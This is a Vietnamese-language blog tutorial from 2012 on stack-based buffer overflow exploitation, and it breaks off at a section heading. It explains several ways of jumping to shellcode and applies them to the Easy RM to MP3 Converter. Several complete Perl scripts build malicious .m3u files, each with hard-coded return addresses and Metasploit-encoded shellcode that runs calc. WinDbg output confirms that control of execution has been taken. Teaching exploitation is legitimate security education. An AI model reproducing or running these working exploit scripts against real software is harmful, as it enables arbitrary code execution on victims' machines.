Saturday, March 24, 2012

Exploit writing tutorial part 2 : Stack Based Overflows – jumping to shellcode

Exploit writing tutorial part 2 : Stack Based Overflows – jumping to shellcode

    Ở phần trước tôi đã trình bày về cách cơ bản để tìm kiếm một lỗ hổng và cách để xây dựng một exploit hoạt động được. Trong ví dụ đó, chúng ta đã thấy ESP trỏ trực tiếp đến điểm bắt đầu trong buffer ( chúng ta chỉ phải thêm 4bytes để ESP trỏ trực tiếp tới shell code) và chúng ta sử dụng “jmp esp” để cho shell code chạy.
    Lưu ý: Phần hai này được viết nối tiếp phần một, chính vì vậy nên dành thời gian để đọc và hiểu đầy đủ phần một trước khi đọc phần hai này.
    Chúng ta thấy rằng việc sử dụng “jmp esp” là một kịch bản quá hoàn hảo. Điều đó là không dễ trong mọi hoàn cảnh. Hôm nay tôi sẽ trình bày một số cách để execute/jump tới shell code. Cuối cùng sẽ trình bày về cách bạn phải xử lý khi đối mặt với trường hợp kích thước của buffer quá nhỏ.
    Có nhiều phương pháp để buộc phải thực thi shellcode, đó là:
    Jump ( hoặc call) thanh ghi trỏ trực tiếp đến shellcode. Với kỹ thuật này, cơ bản là bạn sẽ sử dụng một thanh ghi có chứa địa chỉ trỏ tới nơi chứa shellcode và đặt địa chỉ này vào trong EIP. Bạn sẽ cố gắng tìm opcode của “jum” hoặc “call” tới thanh ghi có trong các dll file của ứng dụng đang chạy. Khi bạn tạo ra payload, thay vì ghi đè EIP tới một địa chỉ trong bộ nhớ, bạn sẽ ghi đè địa chỉ chứa lệnh “jum to register”. Đương nhiên, phương pháp này chỉ hoạt động tốt khi mà thanh ghi chứa địa chỉ trỏ tới shellcode. Đây là cách mà chúng ta đã sử dụng trong phần một nên tôi không nói nữa.
    Pop return: nếu không có một thanh ghi nào trỏ trực tiếp tới địa chỉ, nhưng bạn có thể thấy một địa chỉ trong stack ( có thể nằm ở đầu tiên, thứ hai…) trỏ tới shellcode, bạn có thể tải vào trong EIP, nếu ở đầu tiên là pop ret, hoặc pop pop ret nếu thứ hai, hoặc pop pop pop pop ret phụ thuộc vào vị trí nằm trong stack.
    Push return: phương pháp này hơi khác so với phương pháp “call to register”, nếu bạn không thể tìm thấy opcode “call register” hoặc “jump register”, bạn có thể push địa chỉ vào stack và tiến hành ret. Do đó, bạn cần tìm push register theo sau là ret. Nếu như tìm được chuỗi này, một địa chỉ thực thi chuỗi này, và ghi đè EIP với địa chỉ tìm được.
    jmp [reg + offset] : nếu một thanh ghi trỏ đến stack chứa shellcode, nhưng không trỏ trực tiếp tới điểm bắt đầu của shellcode, bạn cũng nên có gắng tìm trong các lệnh của OS hoặc dll mà thêm các bytes cần thiết vào thanh ghi rồi tiến hành jump. Tôi gọi đó là phương pháp jmp [reg + offset].
    blind return : Trong bài viết trước đây, ESP trỏ đến vị trí đỉnh stack hiện hành. Một lệnh RET khi thực thi sẽ thực hiện lệnh pop giá trị cuối cùng ( 4bytes) từ stack và đặt địa chỉ đó vào EIP. Vậy nếu bạn ghi đè EIP bằng một địa chỉ thực hệnh lệnh RET, bạn sẽ mang được địa chỉ trong ESP vào EIP.
    Nếu bạn phải đối mặt với trường hợp không gian bộ nhớ có sẵn trong buffer bị giới hạn sau khi EIP bị ghi đè lên, nhưng lại có rất nhiều không gian trước khi ghi đè ESP, bạn có thể sử dụng lệnh jump ở phần buffer nhỏ để nhảy về đầu buffer, nơi chứa main shellcode.
    SEH: Mọi ứng dụng để có những xử lý ngoại lệ mặc định được cung cấp bởi OS. Vì vậy ngay cả khi ứng dụng không sử dụng xử lý ngoại lệ, bạn vẫn có thể thử ghi đè lên phần xử lý SEH bằng địa chỉ của bạn và làm nó nhảy tới shellcode của bạn. Sử dụng SEH làm cho exploit trở nên tin cậy trên nhiều nền tảng Windows, nhưng đòi hỏi nhiều kỹ năng hơn trước khi bắt đầu lợi dụng SEH để xây dựng exploit. Ý tưởng ở đây là giả sử bạn xây dựng một exploit không hoạt động được trên OS đã cho, phần payload sẽ gây crash ứng dụng, kích hoạt một ngoại lệ ( trigger). Vì vậy bạn có thể kết hợp một exploit thông thường với một SEH exploit thành một exploit tin cậy. Phần ba của loại tutorial sẽ nói về SEH exploit. Chỉ cần nhớ rằng, đặc điểm điển hình của stack based overflow là ghi đè lên một EIP, có khả năng gọi tới một SEH exploit cơ bản cho phép tin cậy hơn, một buffer có kích thước lớn hơn...
    Các kỹ thuật sử dụng trong tài liệu này chỉ là ví dụ. Mục tiêu của bài này chính là chỉ cho các bạn thấy rằng, có nhiều cách để nhảy đến shellcode, và trong từng trường hợp có thể chỉ có một cách ( hoặc kết hợp nhiều kỹ thuật) để làm cho đoạn mã của bạn được chạy.
    Có thể có nhiều phương pháp của để làm cho exploit chạy và chạy một cách tin cậy. Nhưng nếu bạn nắm được các kỹ năng được sử dụng ở đây, và nếu sử dụng trong trường hợp thông thường, bạn sẽ có thể tìm được cách giải quyết hầu hết các vấn đề khi cố tìm cách nhảy đến shellcode của bạn. Ngay cả khi một kỹ thuật như là làm việc được, nhưng shellcode vẫn không muốn chạy, bạn vẫn có thể thử với việc mã hóa encode shellcode, di chuyển shellcode ra xa hơn một tý và đặt NOP bytes trước đó. Đây là tất cả mọi thứ giúp bạn hoàn thành công việc.
    Tất nhiên, hoàn toàn có thể là một lỗ hổng dẫn tới việc crash, và không bao giờ exploit được. Bây giờ tôi sẽ thực hiện các kỹ thuật đã được liệt kê ở trên.
  1. call [reg]

    Nếu một thanh ghi chứa một địa chỉ trỏ trực tiếp tới shellcode, bạn có thể sử dụng call [reg] hoặc jump trực tiếp đến shellcode. Nói cách khác, nếu ESP trỏ trực tiếp vào shellcode ( nên bytes đầu tiên của shellcode là bytes đầu tiên của ESP) bạn có thể ghi đè EIP với địa chỉ chứa lệnh “call esp”, và shellcode sẽ được thực thi. Điều này làm việc với tất cả thanh ghi và thư viện kernel32.dll chứa rất nhiều địa chỉ chứa call [reg].
    Quick example : giả sử ESP trỏ trực tiếp đến shellcode, đầu tiên hãy tìm một opcode có chứa “call esp”. Chúng ta sẽ sử dụng findjmp:
findjmp.exe kernel32.dll esp

Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.dll for code useable with the esp register
0x7C836A08      call esp
0x7C874413      jmp esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 2 usable addresses
    Tiếp theo, chúng ta sẽ ghi đè EIP với địa chỉ 0x7C836A08.
    Trong ví dụ trước, với Easy RM to MP3, chúng ta biết rằng có thể trỏ ESP tới shellcode bằng cách thêm 4 ký tự giữa EIP và ESP, exploit sẽ như sau:
my $file= "test1.m3u";
my $junk= "A" x 26094;

my $eip = pack('V',0x7C836A08); #overwrite EIP with call esp

my $prependesp = "XXXX";  #add 4 bytes so ESP points at beginning of shellcode bytes

my $shellcode = "\x90" x 25;   #start shellcode with some NOPS

# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
pwned !
  1. pop ret

Trong ví dụ Easy RM to MP3, chúng ta hoàn toàn có thể tinh chỉnh để ESP  trỏ trực tiếp tới shellcode. Vậy sẽ như thế nào nếu không có thanh ghi nào trỏ tới shellcode.
Vâng, trong trường hợp này, địa chỉ trỏ tới shellcode có thể nằm trên stack. Nếu bạn dump esp, nhìn vào các địa chỉ đầu tiên. Nếu một trong các địa chỉ này trỏ tới shellcode ( hoặc buffer bạn điều khiển được), tiếp theo bạn có thể tìm được pop ret hoặc pop pop ret.
Lấy địa chỉ trong stack
Nhảy đến địa chỉ bạn sẽ đưa bạn tới shellcode
Kỹ thuật pop ret chỉ có tác dụng khi ESP+offset chứa địa chỉ trỏ tới shellcode. Vì vậy, khi dump ESP, nếu một trong các địa chỉ đầu tiên trỏ tới shellcode, và đặt một tham chiếu tới pop ret ( hoặc pop pop ret) trong EIP. Điều này làm mất một số địa chỉ trong stack ( một địa chỉ cho một lần pop) và đưa địa chỉ tiếp theo vào EIP. Nếu một trong số đó trỏ tới shellcode, bạn sẽ thành công.
Trường hợp thứ hai sử dụng pop ret: điều khi bạn kiểm soát được EIP, không có thanh ghi nào trỏ tới shellcode, nhưng shellcode của bạn được thấy ở ESP+8. Trong trường hợp này, bạn có thể đặt pop pop ret vào EIP, sẽ nhảy tới ESP+8.
Hãy xây dựng một thử nghiệm. Chúng ta có 26094 bytes trước khi ghi đè EIP, và cần 4bytes trước khi ở tại vị trí ESP trỏ tới (trong trường hợp của tôi, đây là 0x000ff730).
Chúng ta sẽ mô phỏng tại ESP+8, có một địa chỉ trỏ tới shellcode ( thực tế tôi sẽ đặt shellcode ngay sau đó, nhắc lại đây chỉ là thử nghiệm).
26094 A, tiếp theo là XXXX ( kết thúc là nơi ESP trỏ tới), break, tiếp đến là 7 NOP, break, và nhiều NOP nữa. Giả sử shellcode bắt đầu từ break thứ hai. Mục đích là nhảy từ break đầu tiên tới tới break thứ hai, ESP+8 ở 0x000ff738.
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB"; #overwrite EIP
my $prependesp = "XXXX";  #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\xcc"; #first break
$shellcode = $shellcode . "\x90" x 7;  #add 7 more bytes
$shellcode = $shellcode . "\xcc"; #second break
$shellcode = $shellcode . "\x90" x 500;  #real shellcode
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
Nhìn vào stack, ứng dụng bị crash bởi buffer overflow. EIP bị ghi đè bởi BBBB. ESP trỏ tới 000ff730, bắt đầu với break đầu tiên, tiếp đến là 7 NOP, chúng ta sẽ thấy break thứ hai, nơi thực sự bắt đầu của shellcode ( tại địa chỉ 0x000ff738).
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fa
eip=42424242 esp=000ff730 ebp=00344200 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ??              ???
0:000> d esp
000ff730  cc 90 90 90 90 90 90 90-cc 90 90 90 90 90 90 90  ................
000ff740  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff750  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff760  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff770  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff780  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff790  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7a0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

0:000> d 000ff738
000ff738  cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff748  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff758  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff768  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff778  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff788  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff798  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7a8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
Mục đích là lấy giá trị trong ESP+8 vào EIP, và làm cho nhảy đến shellcode. Chúng ta sẽ sử dụng kỹ thuật pop ret và địa chỉ của jmp esp để hoàn thành.
Một lệnh pop sẽ lấy 4bytes trong stack, khi đó ESP trỏ tới 000ff734. Chạy một lệnh pop nữa, sẽ lấy tiếp 4bytes nữa, ESP trỏ tới 000ff738. Khi lệnh ret được thực thi, giá trị hiện tại của ESP sẽ được đưa vào EIP. Cho nên giá trị tại 000ff738 chứa địa chỉ của lệnh jmp esp, thì đó là những gì EIP sẽ làm. Buffer sau 000ff738 chứa shellcode của chúng ta.
Chúng ta cần tìm  pop,pop,ret trong một nơi nào đó, và ghi đè EIP bằng địa chỉ lệnh đầu tiên trong chuỗi lệnh đó. Và chúng ta phải thiếp lập ESP+8 trỏ đến địa chỉ của jmp esp, theo sau là shellcode của chúng ta.
Trước tiên chúng ta phải biết opcode của pop pop ret. Chúng ta sẽ sử dụng chức năng assembly trong windbg để thực hiện:
0:000> a
7c90120e pop eax
pop eax
7c90120f pop ebp
pop ebp
7c901210 ret
ret
7c901211

0:000> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e 58              pop     eax
7c90120f 5d              pop     ebp
7c901210 c3              ret
7c901211 ffcc            dec     esp
7c901213 c3              ret
7c901214 8bff            mov     edi,edi
7c901216 8b442404        mov     eax,dword ptr [esp+4]
7c90121a cc              int     3
Cho nên pop pop ret có opcode là 0×58,0x5d,0xc3
Đương nhiên, chúng ta có thể sử dụng các opcode khác, ví như các opcode sau đây:
Bây giờ chúng ta phải tìm chuỗi opcode này trong các dll có sẵn. Trong phần một chúng tôi đã nói dll ứng dụng so với dll của hệ điều hành. Theo đó, tôi khuyến cáo sử dụng dll của ứng dụng bởi nó làm tăng tính tin cậy, tránh phụ thuộc vào phiên bản windows. Nhưng bạn cần chắc chắn rằng dll sử dụng địa chỉ đó mọi lúc. Đôi khi, dll được rebase và trường hợp đó tốt hơn sử dụng dll của OS như user32.dll hoặc kernel32.dll.
Mở Easy RM to MP3 ( và không mở gì cả) rồi đính kèm windbg vào tiến trình chạy. Windbg sẽ hiển thị các module được load, gồm cả OS modules và module ứng dụng ( tìm dòng bắt đầu với ModLoad).
Đây là một vài dll của ứng dụng:
ModLoad: 00ce0000 00d7f000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
ModLoad: 01a90000 01b01000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 00c80000 00c87000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 01b10000 01fdd000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
Bạn nên hạn chế sử dụng các địa chỉ chứa null bytes bởi nó làm việc exploit trở nên khó khăn hơn. Tìm kiếm trong MSRMCcodec00.dll cho ta một số kết quả:
0:014> s 01a90000 l 01b01000 58 5d c3
01ab6a10  58 5d c3 33 c0 5d c3 55-8b ec 51 51 dd 45 08 dc  X].3.].U..QQ.E..
01ab8da3  58 5d c3 8d 4d 08 83 65-08 00 51 6a 00 ff 35 6c  X]..M..e..Qj..5l
01ab9d69  58 5d c3 6a 02 eb f9 6a-04 eb f5 b8 00 02 00 00  X].j...j........
Giờ chúng ta có thể nhảy tới ESP+8. Ở vị trí đó, ta cần đặt một địa chỉ tới jmp esp ( như đã nói, sau khi RET, sẽ lấy địa chỉ đó đặt vào EIP. Tại thời điểm đó, ESP đang trỏ tới shellcode của chúng ta nằm ngay sau địa chỉ  jmp esp).
Trong phần một chúng ta đã thấy 0x01ccf23a trỏ tới jmp esp. Quay trở lại perl script của chúng ta, sẽ thay thế BBBB ghi đè EIP bằng địa chỉ pop,pop,ret, theo sau là 8bytes NOP ( mô phỏng ESP+8), tiếp đến là địa chỉ jmp esp và tiếp đến là shellcode.
Buffer sẽ như sau:
[AAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]
  26094 A's         EIP           8 bytes offset          JMP ESP
                 (=POPPOPRET)
Tiến trình exploit như sau:
  1. EIP bị ghi đè bởi POP POP RET, ESP trỏ tới byte đầu tiên trong 8 bytes offset.
  2. POP POP RET được thực thi. EIP lấy địa chỉ 0x01ccf23a tại ESP+8, ESP trỏ tới shellcode.
  3. EIP bị ghi đè địa chỉ tới jmp esp, lần nhảy thứ hai được thực hiện và shellcode được chạy.
  4.                       ----------------------------------
  5.                       |                                 |(1)
  6.                       |                                 |
  7.                       |       ESP points here (1)       |
  8.                       |       |                         V
  9. [AAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]
  10.   26094 A's         EIP           8 bytes offset          JMP ESP   ^
  11.                  (=POPPOPRET)                                |      | (2)
  12.                                                              |------|
  13.                                                                     ESP now points here (2)
Chúng ta sẽ mô phỏng với một break và một số NOP như là shellcode. Do đó, chúng có thể nhảy nếu làm việc tốt.
my $file= "test1.m3u";
my $junk= "A" x 26094;

my $eip = pack('V',0x01ab6a10); #pop pop ret from MSRMfilter01.dll
my $jmpesp = pack('V',0x01ccf23a); #jmp esp

my $prependesp = "XXXX";  #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\x90" x 8;  #add more bytes
$shellcode = $shellcode . $jmpesp;  #address to return via pop pop ret ( = jmp esp)
$shellcode = $shellcode . "\xcc" . "\x90" x 500;  #real shellcode

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

(d08.384): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=90909090 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fe
eip=000ff73c esp=000ff73c ebp=90909090 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff72b:
000ff73c cc              int     3
0:000> d esp
000ff73c  cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff74c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff75c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff76c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff77c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff78c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff79c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7ac  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
Nó đã làm việc, bây giờ thay thế NOP sau  jmp esp (ESP+8) với shellcode thực sự ( một số NOP và shellcode với mã hóa alpha_upper)
my $file= "test1.m3u";
my $junk= "A" x 26094;

my $eip = pack('V',0x01ab6a10); #pop pop ret from MSRMfilter01.dll
my $jmpesp = pack('V',0x01ccf23a); #jmp esp

my $prependesp = "XXXX";  #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\x90" x 8;  #add more bytes
$shellcode = $shellcode . $jmpesp;  #address to return via pop pop ret ( = jmp esp)

$shellcode = $shellcode . "\x90" x 50;  #real shellcode
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
pwned !
  1. push return

push ret tương tự như cal [reg]. Nếu có một thanh ghi trỏ trực tiếp tới shellcode của bạn, và một lý do nào đó không thể sử dụng jmp [reg] để nhảy tới shellcode, bạn có thể:
đặt địa chỉ của thanh ghi vào trong stack, nó sẽ nằm ở đỉnh stack
ret ( lấy địa chỉ này trong stack và nhảy tới đó)
Để làm được việc này, bạn cần ghi đè EIP bằng địa chỉ của chuỗi push [reg] ret trong một thư viện dll. Giả sử ESP trỏ trực tiếp vào shellcode, bạn cần tìm opcode push esp, theo sau là opcode ret.
0:000> a
000ff7ae push esp
push esp
000ff7af ret
ret

0:000> u 000ff7ae
+0xff79d:
000ff7ae 54              push    esp
000ff7af c3              ret
Opcode có trình tự  0×54,0xc3. Tiến hành tìm chuỗi opcode này:
0:000> s 01a90000 l 01dff000 54 c3
01aa57f6  54 c3 90 90 90 90 90 90-90 90 8b 44 24 08 85 c0  T..........D$...
01b31d88  54 c3 fe ff 85 c0 74 5d-53 8b 5c 24 30 57 8d 4c  T.....t]S.\$0W.L
01b5cd65  54 c3 8b 87 33 05 00 00-83 f8 06 0f 85 92 01 00  T...3...........
01b5cf2f  54 c3 8b 4c 24 58 8b c6-5f 5e 5d 5b 64 89 0d 00  T..L$X.._^][d...
01b5cf44  54 c3 90 90 90 90 90 90-90 90 90 90 8a 81 da 04  T...............
01bbbb3e  54 c3 8b 4c 24 50 5e 33-c0 5b 64 89 0d 00 00 00  T..L$P^3.[d.....
01bbbb51  54 c3 90 90 90 90 90 90-90 90 90 90 90 90 90 6a  T..............j
01bf2aba  54 c3 0c 8b 74 24 20 39-32 73 09 40 83 c2 08 41  T...t$ 92s.@...A
01c0f6b4  54 c3 b8 0e 00 07 80 8b-4c 24 54 5e 5d 5b 64 89  T.......L$T^][d.
01c0f6cb  54 c3 90 90 90 64 a1 00-00 00 00 6a ff 68 3b 84  T....d.....j.h;.
01c692aa  54 c3 90 90 90 90 8b 44-24 04 8b 4c 24 08 8b 54  T......D$..L$..T
01d35a40  54 c3 c8 3d 10 e4 38 14-7a f9 ce f1 52 15 80 d8  T..=..8.z...R...
01d4daa7  54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56  T..Mh../2......V
01d55edb  54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56  T..Mh../2......V
01d649c7  54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56  T..Mh../2......V
01d73406  54 c3 d3 2d d3 c3 3a b3-83 c3 ab b6 b2 c3 0a 20  T..-..:........
01d74526  54 c3 da 4c 3b 43 11 e7-54 c3 cc 36 bb c3 f8 63  T..L;C..T..6...c
01d7452e  54 c3 cc 36 bb c3 f8 63-3b 44 d8 00 d1 43 f5 f3  T..6...c;D...C..
01d74b26  54 c3 ca 63 f0 c2 f7 86-77 42 38 98 92 42 7e 1d  T..c....wB8..B~.
031d3b18  54 c3 f6 ff 54 c3 f6 ff-4f bd f0 ff 00 6c 9f ff  T...T...O....l..
031d3b1c  54 c3 f6 ff 4f bd f0 ff-00 6c 9f ff 30 ac d6 ff  T...O....l..0...
Tạo một exploit và chạy:
my $file= "test1.m3u";
my $junk= "A" x 26094;

my $eip = pack('V',0x01aa57f6); #overwrite EIP with push esp, ret

my $prependesp = "XXXX";  #add 4 bytes so ESP points at beginning of shellcode bytes

my $shellcode = "\x90" x 25;   #start shellcode with some NOPS

# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
pwned again !
  1. jmp [reg]+[offset]

